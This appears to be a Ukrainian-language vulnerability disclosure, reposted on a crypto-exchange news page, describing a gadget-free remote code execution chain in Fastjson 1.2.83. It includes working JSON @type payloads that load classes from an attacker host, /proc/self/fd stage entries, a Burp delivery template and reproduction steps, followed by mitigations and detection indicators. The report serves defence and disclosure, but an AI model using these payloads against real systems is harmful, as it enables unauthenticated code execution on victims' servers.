Глибокий аналіз та посібник з захисту від вразливості Fastjson 1.2.83 "Без гаджетів" (0day)
Fastjson 1.2.83 за замовчуванням AutoType=false все ще може викликати віддалене виконання коду без традиційних гаджетів, що було відтворено в ізольованому середовищі JDK 8/17/21/25 + Spring Boot Loader.
Резюме
У традиційній системі захисту від вразливостей десеріалізації Java в галузі існує загальне сприйняття, що "вимкнення AutoType за замовчуванням є безпечним", "фіксація другого параметра parseObject (верхнього типу цілі) є безпечною", "виключення залежностей гаджетів десеріалізації з локального Classpath є безпечним". Однак останні технологічні атаки та захисти повністю зруйнували ці ілюзії.
Сьогодні GCSA (Глобальний альянс кібербезпеки) вперше публікує цей технічний звіт. Звіт глибоко аналізує корінні причини того, чому Fastjson 1.2.83, навіть у стані AutoType=false, все ще може викликати віддалене виконання коду (RCE) без залежностей традиційних гаджетів. Наразі ця експлуатаційна техніка була успішно відтворена в ізольованому середовищі JDK 8 / 17 / 21 / 25 та Spring Boot Loader. Ця вразливість не є традиційною "обхідною вразливістю чорного списку для пошуку локальних гаджетів", а безпосередньо перетворює логіку виявлення метаданих класу Fastjson на канал отримання та авторизації віддалених шкідливих класів. Нижче наведено основний текст.
- Видавець: GCSA (Глобальний альянс кібербезпеки)
- Тип звіту: Ексклюзивний технічний огляд / Глибокий аналіз вразливостей
- Дата звіту: 2026-07-21
- Статус звіту: Завершено аудит вихідного коду та відтворення в ізольованому середовищі
- Номер вразливості: Внутрішній номер дослідження FJ-GETRESOURCE-RCE (не відповідає опублікованому CVE)
Fastjson 1.2.83 за замовчуванням AutoType=false все ще може викликати віддалене виконання коду без традиційних гаджетів, що було відтворено в ізольованому середовищі JDK 8/17/21/25 + Spring Boot Loader. Рекомендується терміново активувати SafeMode та перейти на Fastjson 2.x.
1. Виконання резюме
ParserConfig.checkAutoType Fastjson 1.2.83 перетворює контрольоване користувачем значення @type на ім'я ресурсу класу та передає його методу getResourceAsStream поточного ClassLoader:
String resource = typeName.replace('.', '/') + ".class";
is = ParserConfig.class.getClassLoader().getResourceAsStream(resource);
У середовищі fat-jar ClassLoader, яке може розбирати абсолютні URL-адреси ресурсів, зловмисник може використовувати заміну крапок для формування http:, jar:http: та jar:file: URL, щоб завантажити шкідливий клас з @JSONType з атакуючої сторони. Fastjson, виявивши цю анотацію, викликає loadClass і безпосередньо повертає цей клас до перевірки небезпечного базового класу та перевірки сумісності цільового типу. Код може бути виконаний під час інстанціювання та ініціалізації класу.
Ця експлуатація не залежить від традиційних гаджетів десеріалізації, які вже є в цільовому classpath, і все ще може бути викликана в стандартному стані Fastjson AutoType=false. Фіксація цільового типу JSON.parseObject не може запобігти виконанню; активація SafeMode може перервати нормальний шлях експлуатації перед доступом до ресурсів.
Цей звіт вже завершив відтворення за допомогою одного й того ж JSON payload в ізольованому контейнері Linux:
2. Оцінка вразливості
Не рекомендується давати єдину оцінку CVSS 9.8 лише на основі версії компонента: звичайний AppClassLoader є негативним контролем, сучасний JDK повністю залежить від завантажувача, який може розбирати два типи абсолютних JAR URL, та /proc/self/fd. У застосуваннях, що відповідають позитивному середовищу цього звіту, ефект вразливості є віддаленим RCE без аутентифікації.
3. Область впливу та передумови
3.1 Підтверджена область
- Підтвердження під час виконання: Fastjson 1.2.83
- Підтвердження JDK: 8, 17, 21, 25
- Підтвердження операційної системи: Linux; macOS також завершив відтворення JDK 17/21/25, використовуючи /dev/fd
- Підтвердження завантажувача: Spring Boot 2.7.18 класичний завантажувач + JDK 8; Spring Boot 3.2.0 завантажувач + JDK 17/21/25
- Підтвердження API: JSON.parse, а також JSON.parseObject з фіксованим верхнім типом
3.2 Опис діапазону версій
Зовнішній опис 1.2.68--1.2.83 більше підходить як відомий тестовий діапазон, а не як версія, що вводить вразливість. Перевірка вихідного коду показала, що вирішальний код виявлення ресурсів класу вже існує в 1.2.67 та 1.2.68. Цей звіт завершив повну перевірку роботи через JDK для 1.2.83.
3.3 Умови для експлуатації
- Зловмисник може контролювати JSON, що надходить до Fastjson, і значення @type у введенні буде розібрано
- SafeMode не активовано
- Завантажувач Fastjson може перетворити побудоване абсолютне ім'я ресурсу на URL
- Процес жертви може підключитися до HTTP-сервісу атакуючої сторони
- Сучасний ланцюг Linux вимагає, щоб /proc/self/fd було читабельним, і завантажувач міг розбирати jar:file:/proc/self/fd/N!...
- JDK має можливість створювати нормальний тимчасовий кеш віддаленого JAR; це зазвичай означає, що тимчасовий каталог JVM є записуваним
Зловмиснику не потрібно:
- Записувати файли в цільовий classpath
- Попередньо встановлювати в цільовому classpath TemplatesImpl, JNDI, C3P0, Commons Collections та інші гаджети
- Включати Fastjson AutoType
- Контролювати другий параметр JSON.parseObject
4. Аналіз корінних причин
4.1 Ім'я типу користувача розглядається як URL ресурсу
Місце розташування вихідного коду:
src/main/java/com/alibaba/fastjson/parser/ParserConfig.java:1479-1498
Основний код:
String resource = typeName.replace('.', '/') + ".class";
if (defaultClassLoader != null) {
is = defaultClassLoader.getResourceAsStream(resource);
} else {
is = ParserConfig.class.getClassLoader().getResourceAsStream(resource);
}
Ця логіка припускає, що ресурс є лише звичайним шляхом classpath, але не обмежує його протокол, семантику абсолютного шляху або джерело. Для певного fat-jar завантажувача наступний ввід перетвориться на абсолютний URL:
Введене ім'я типу: http:..localhost:18081.a
Ім'я ресурсу: http://localhost:18081/a.class, отже, getResourceAsStream запитує локальні метадані, які виходять за межі завантаження мережевих ресурсів, контрольованих зловмисником.
4.2 Віддалений клас @JSONType розглядається як підстава для авторизації
Fastjson використовує свій власний ASM ClassReader для розбору вмісту ресурсу:
ClassReader classReader = new ClassReader(is, true);
TypeCollector visitor = new TypeCollector("<clinit>", new Class[0]);
classReader.accept(visitor);
jsonType = visitor.hasJsonType();
Атакуюча сторона просто повинна забезпечити, щоб віддалений клас містив анотацію Fastjson @JSONType, щоб jsonType було встановлено в true. Тут перевіряються байти, надані атакуючою стороною, а не клас, який вже завантажено з надійного classpath.
4.3 jsonType викликає фактичне завантаження класу
Місце розташування вихідного коду:
ParserConfig.java:1500-1503
TypeUtils.java:1759-1792
if (autoTypeSupport || jsonType || expectClassFlag) {
boolean cacheClass = autoTypeSupport || jsonType;
clazz = TypeUtils.loadClass(typeName, defaultClassLoader, cacheClass);
}
TypeUtils.loadClass послідовно намагається використовувати явний завантажувач, завантажувач контексту потоку та Class.forName. У позитивному середовищі завантажувач контексту потоку знову розбирає те саме абсолютне ім'я ресурсу, завантажує клас і виконує defineClass.
4.4 @JSONType раннє повернення обходить подальші перевірки безпеки
Місце розташування виходу:
ParserConfig.java:1505-1528
if (clazz != null) {
if (jsonType) {
return clazz; } // Ці перевірки виконуються після повернення jsonType.
if (ClassLoader.class.isAssignableFrom(clazz)
|| DataSource.class.isAssignableFrom(clazz)
|| RowSet.class.isAssignableFrom(clazz)) {
throw new JSONException(...); } if (expectClass != null) {
// перевірка на придатність також виконується пізніше.
}
}
Віддалений клас, як тільки він містить @JSONType:
- Перевірка небезпечного базового класу не виконується
- expectClass.isAssignableFrom(clazz) не виконується
- Фіксований тип зв'язування даних не може запобігти виконанню до ініціалізації класу
4.5 Суфікс Exception/Error формує неуспішний м'який канал
Місце розташування виходу:
ParserConfig.java:1537-1542
if (!autoTypeSupport) {
if (typeName.endsWith("Exception") || typeName.endsWith("Error")) {
return null; }
throw new JSONException("autoType не підтримується. " + typeName); }
Сучасний JDK на першій стадії зазнає невдачі через незаконні імена внутрішніх класів. Коли ім'я типу закінчується на Exception, Fastjson не зупиняє весь JSON, а повертає null, дозволяючи парсеру продовжувати обробку елементів переліку FD в масиві. Ця гілка є ключовою для виконання одного навантаження через стадії.
4.6 Розташування SafeMode
Перевірка SafeMode розташована перед доступом до ресурсів:
ParserConfig.java:1325-1330
Отже, SafeMode за замовчуванням може запобігти мережевим запитам. Проте AutoTypeCheckHandler розташований перед SafeMode (ParserConfig.java:1316-1323); якщо застосування активно реєструє обробник, який безпосередньо повертає тип, його потрібно окремо перевірити, не можна вважати SafeMode абсолютною межею для перекриття користувацького обробника.
- Використання ланцюга
5.1 JDK 8: пряме завантаження віддаленого класу
Найкоротша форма:
{"@type":"http:..localhost:18081.a"}
Ланцюг перетворення:
бінарне ім'я типу: http:..localhost:18081.a
URL ресурсу: http://localhost:18081/a.class
внутрішній клас: http://localhost:18081/a
JDK 8 приймає вищезгадане нетрадиційне ім'я внутрішнього класу. Spring Boot 2.7 LaunchedURLClassLoader завантажує клас, після чого завершує визначення, інстанціювання та ініціалізацію, виконуючи зловмисну команду
JDK 17+ також завершить мережевий запит, але відмовить у внутрішніх іменах з порожніми сегментами,
ClassFormatError: Illegal class name "http://localhost:18081/a"
Отже, коротка форма http:.. сама по собі завершує RCE лише в JDK 8.
5.2 Сучасний JDK перша стадія: завантаження віддаленого JAR
Перше елемент масиву з одним навантаженням:
{"@type":"jar:http:..attacker:18081.x!.foo.Exception"}
Результат перетворення:
URL ресурсу:
jar:http://attacker:18081/x!/foo/Exception.class
Метод sun.net.www.protocol.jar.URLJarFile.retrieve JDK створює тимчасові файли jar_cache*, копіюючи віддалений JAR у цей файл.
JDK 17+ відмовляє у внутрішніх іменах першої стадії jar:http://..., але Fastjson продовжує розбирати масив через суфікс Exception.
5.3 Сучасний JDK друга стадія: повторне відкриття кешу FD
Наступні кандидатні елементи:
{"@type":"jar:file:.proc.self.fd.7!.fd7.Exception"}
Ланцюг перетворення:
бінарне ім'я типу:
jar:file:.proc.self.fd.7!.fd7.Exception URL ресурсу:
jar:file:/proc/self/fd/7!/fd7/Exception.class внутрішнє ім'я класу:
jar:file:/proc/self/fd/7!/fd7/Exception
На відміну від http://, кожен компонент, розділений / в цьому внутрішньому імені, не є порожнім, тому сучасна JVM приймає його. У зловмисному JAR підготовлено вхід для кожного кандидатного FD:
fd3/Exception.class
fd4/Exception.class
...
fd64/Exception.class
Кожне ім'я внутрішнього класу в постійному пулі класу точно відповідає типу запиту відповідного FD і містить @JSONType. Після попадання в реальний кеш-обробник Fastjson завантажує та інстанціює цей клас, виконуючи команду
Перше попадання в журналі завантаження класів JDK 17:
jar:file:.proc.self.fd.7!.fd7.Exception
5.4 Чому одне навантаження одночасно сумісне з JDK 8 та сучасним JDK
JDK 8 безпосередньо приймає клас першої стадії jar:http://... і виконує
Клас першої стадії виконує команду, навмисно викидаючи RuntimeException("stage-one-stop"), запобігаючи JDK 8 продовжувати спроби з неактуальними сокетами/трубами FD
JDK 17+ зазнає невдачі через незаконне ім'я на першій стадії перед ініціалізацією класу, а потім м'яко повертається через Exception до стадії переліку FD
- Середовище відтворення та докази
6.1 Хеш перевіряємого компонента
fastjson-1.2.83.jar
SHA-256 641a4d65ab32fbfdccd9c718e3f83ebc4caabdb5e4fe5b3d51527c5fe692631d spring-boot-loader-2.7.18.jar
SHA-256 855d80b2d8afc9140036ab20dba5d9333ed427bb1562057265335b244b98ed16 spring-boot-loader-3.2.0.jar
SHA-256 84d7352ce2f264262afb0253b9b882b0abf56f7c371c7523a0b3f6401d9c831b
6.2 Однокнопкове відтворення
cd
PULL=1 ./target/getresource-repro/reproduce_fd_chain.sh
Очікуваний вихід:
JDK 8 : RCE-OK
JDK 17: RCE-OK
JDK 21: RCE-OK
JDK 25: RCE-OK
Скрипт буде:
- Скомпілювати вразливий fat jar;
- Згенерувати атакуючий JAR з класом для FD;
- Згенерувати масив JSON payload;
- Запустити HTTP-сервіс атаки в ізольованій Docker-мережі;
- Запустити контейнери з JDK 8/17/21/25;
- Перевірити, що кожен контейнер відображає /tmp/fastjson-getresource-rce.
6.3 Ручне створення атакуючого JAR та payload
cd
--host attacker \
--port 18081 \
--fd-root /proc/self/fd \
--min-fd 3 \
--max-fd 64 \
--out-jar target/getresource-repro/www-linux/x \
--out-json target/getresource-repro/fd-payload-linux.json
Згенеровані матеріали:
Attacker JAR: target/getresource-repro/www-linux/x
JSON payload: target/getresource-repro/fd-payload-linux.json
--host рекомендується використовувати DNS-тег без крапок або десятковий IPv4. Причина не в обході localhost, а в тому, що Fastjson замінює всі крапки в іменах типів на /. Наприклад, десятковий IPv42130706433 еквівалентний 127.0.0.1, але не буде розділений крапками.
6.4 Доставка через Burp Suite
Burp лише відповідає за відправлення JSON до вразливого інтерфейсу, де є точка розбору Fastjson; атакуючий JAR все ще має надаватися HTTP-сервісом атаки.
Шаблон запиту:
POST /parse HTTP/1.1
Host: victim.example
Content-Type: application/json
Connection: close
Content-Length: ... [Вставте повний вміст fd-payload-linux.json сюди.]
Якщо застосунок використовує фіксований верхній тип, можна обернути масив за структурою полів, наприклад:
{"value":[/* Всі елементи масиву в fd-payload-linux.json */]}
Цей експеримент використовує JSON.parseObject(json, BoundEnvelope.class) для розбору вищезгаданого обгортання, результат все ще RCE-OK, і нормально повертає BoundEnvelope.
6.5 Ключове тестування меж
- Рекомендації щодо виправлення та пом'якшення
7.1 Переважно: мігрувати з Fastjson 1.x
Переходьте на підтримувану версію Fastjson 2.x і повторно перевірте всі поліморфні типи, AutoType та конфігурації режиму сумісності. Не просто замінюйте JAR без регресійного тестування.
7.2 Негайно увімкніть SafeMode
Конфігурація коду:
ParserConfig.getGlobalInstance().setSafeMode(true);
Параметри JVM:
-Dfastjson.parser.safeMode=true
Примітка: якщо застосунок зареєстрував AutoTypeCheckHandler, його слід одночасно перевірити або видалити, оскільки обробник виконується до перевірки SafeMode.
7.3 Обмежити точки десеріалізації
- Не передавайте ненадійні запити безпосередньо JSON.parse/JSON.parseObject
- Відмовляйте в будь-якій формі спеціальних типів метаданих на шлюзі або вході застосунку
- Лише фіксовані верхні Java-типи не є достатнім захистом, оскільки вкладені об'єкти все ще можуть обробляти @type, а jsonType цієї вразливості раніше повертає обхід перевірки сумісності
7.4 Тимчасові правила WAF/шлюзу
Тимчасово перехоплюйте запити, де ключ JSON після декодування дорівнює @type, і перекривайте URL-параметри, тіло запиту та вкладені об'єкти. Не можна просто шукати відкритий текст "@type", лексер Fastjson спочатку декодує імена полів, наприклад:
{"\u0040type":"..."}
{"\x40type":"..."}
Правила WAF можуть бути лише як пом'якшення, не можуть замінити оновлення компонентів і SafeMode.
7.5 Вихід в мережу та зміцнення під час виконання
- Заборонити бізнес-JVM ініціювати HTTP/HTTPS-з'єднання з непотрібними зовнішніми адресами.
- Впровадити мінімальну мережеву політику для контейнерів застосунків.
- Обмежити /proc/self/fd, якщо це дозволяє сумісність, або використовувати більш суворий контейнерний пісочницю.
- Перевірити, як ClassLoader обробляє абсолютні URL-імена ресурсів, відмовити у формах протоколів http:, https:, jar:, file: тощо.
- Моніторити аномальну активність jar_cache* у тимчасовій директорії JVM.
- Рекомендації щодо виявлення та IOC
8.1 Характеристики запиту
Зосередьтеся на декодованих значеннях @type, які містять:
http:..
jar:http:..
jar:file:.proc.self.fd.
jar:file:.dev.fd.
!.fd
Exception
Окреме поява Exception недостатньо для попередження, слід пов'язати з формою протоколу, @type та комбінацією послідовних кандидатів FD в масиві.
8.2 Характеристики мережі
- JVM запитує аномальні хости без розширення JAR або .class
- Під час одного запиту на розбір спостерігається 1--3 повторних GET/HEAD
- У запиті може з'явитися шлях /x, /a.class або користувацький еквівалент атакуючого
8.3 Характеристики хосту
- JVM тимчасова директорія створює jar_cache*
- Java-процес повторно відкриває свій файл через /proc/self/fd/N
- Логи завантаження класів містять подібні jar:file:.proc.self.fd.7!.fd7.Exception
jar:file:.proc.self.fd.7!.fd7.Exception
- Висновок
Ця вразливість не є традиційним "обходом чорного списку з подальшим пошуком локальних gadget", а перетворює логіку виявлення метаданих класу Fastjson на віддалений канал отримання та авторизації класів. @JSONType раніше повертає, що клас, наданий атакуючими, приймається до перевірки небезпечних базових класів та типів; м'який канал збою Exception та тимчасове кешування JDK jar:http: розширює прямі завантаження JDK 8 до JDK 17/21/25.
Отже, наступні поширені судження є недійсними:
- "AutoType за замовчуванням вимкнено, отже, безпечно" --- недійсно
- "Фіксований parseObject другий параметр, отже, безпечно" --- недійсно
- "classpath не має відомих gadget, отже, безпечно" --- недійсно
- "JKD 17+ відмовить у внутрішніх іменах http://, отже, максимум це SSRF" --- недійсно
У розгортаннях, які відповідають перевіреним умовам завантажувача, мережі та дескрипторів файлів, ця проблема може перетворитися з одного неавторизованого JSON-запиту на реальне віддалене виконання коду. Слід пріоритетно мігрувати на Fastjson 2.x, негайно увімкнути SafeMode, звузити вихід в мережу та межі розбору ресурсів ClassLoader.
- Додатки та шляхи доказів
Повний журнал досліджень: target/FASTJSON_1_2_83_RCE_ANALYSIS.md
Інструкції з відтворення: target/getresource-repro/README.md
Короткий ланцюг JDK 8: target/getresource-repro/reproduce.sh
Повний ланцюг JDK 8/17/21/25 для Linux: target/getresource-repro/reproduce_fd_chain.sh
Генератор Attack JAR/payload: target/getresource-repro/build_fd_chain.py
Згенерований Linux payload: target/getresource-repro/fd-payload-linux.json
JDK 17 класове завантаження: target/getresource-repro/linux-jdk17-classload.log
Відмова від відповідності: цей контент надано лише для загальних брендингових та інформаційних цілей і не є фінансовою, інвестиційною, юридичною чи податковою консультацією. Події, нагороди, онлайн-події або пов’язану інформацію, згадана тут, не слід розглядати як рекомендацію, прохання чи запрошення до купівлі, продажу, торгівлі чи інших операцій з криптоактивами або використання послуг. Криптоактиви є дуже волатильними та можуть призвести до збитків. Послуги WEEX та онлайн-події можуть бути недоступні в усіх регіонах та підпадають під дію чинних законів, правил та вимог до участі. Ви несете відповідальність за забезпечення відповідності використання вами послуг WEEX місцевому законодавству та за ретельну оцінку ризиків перед участю в діяльності, пов’язаній з криптовалютами.
Вам також може сподобатися

Розкриття хвилі арбітражу SK Hynix: свято «перекладання цегли» на ринках США, Південної Кореї та криптовалют

Pendle оголосила дорожню карту на другу половину року: акцент на RWA та інституційний ринок, Boros зосередиться на деривати процентних ставок на блокчейні

Чому корейські компанії обирають Гонконг для виходу на ринок RWA

ETF криптовалюти: Ефіріум обігнав Біткоїн, а BlackRock отримує вигоду

Резерви Ethereum зменшуються на платформах, але попит не встигає за цим

5 провідних платформ кредитування під заставу біткоїнів у 2026 році

Порівняння білого паперу Ethereum та BNB (2026)

Засновник Primitive Ventures: У епоху ШІ, ті, хто "зникли"

Викриття обігу через ротаційні двері: хто створює законопроект про стабільні монети США для Tether?

The New York Times: Чи ненавидять засновники один одного? Боротьба Kalshi та Polymarket виявилася набагато жорсткішою, ніж уявлялося

The Sandbox та Animoca Brands проводять AI конкурс у Гонконзі на 10 тисяч доларів

Європейський центральний банк, ймовірно, «пауза яструбів» сьогодні вночі, але двері для підвищення ставок восени залишаються відкритими

Наближення основної мережі: огляд екосистеми Arc від Circle

Від випуску до доходу: розкриття прихованих можливостей мільярдного ринку стейблкоїнів

Наступна інвестиція в AI - криптовалюта, натяк від Franklin Templeton

Зменшення дивідендів для роздрібних інвесторів: прогноз ринку в умовах змагання AI

Швейцарський банк BancaStato запускає торгівлю біткоїнами через Sygnum та Avaloq

Біткойн: Рівень довгострокового володіння досяг історичного максимуму

Працівники найбільшого хімічного заводу України погрожують страйком через трирічну заборгованість по зарплаті

IBM знизила прогноз доходів на рік, чи зможе вона підтримувати стабільний грошовий потік?

BTC повернувся до 66 тисяч, чи це означає, що ми вийшли з дна?

Попит на автострахування зріс на 100-200% на фоні обстрілів в Україні

Криза подвоєного горла наближається: ринок одночасно стикається з енергетичним шоком та тиском довгострокових облігацій

Компанія Glassnode проводить розслідування через побоювання витоку даних, попереджаючи клієнтів про ризик фішингових атак

AI-агенти підвищують попит на серверні процесори, капітал виходить з технологічних акцій

Час Ваша в ФРС: важко вгадати!

Movement Labs подала заяву про банкрутство через крах токена MOVE

Крипто PAC вклала майже 1 мільйон доларів у вибори в Мічигані на підтримку Тханедара

Запис чотиригодинної зустрічі інвесторів з Лян Веньфенгом










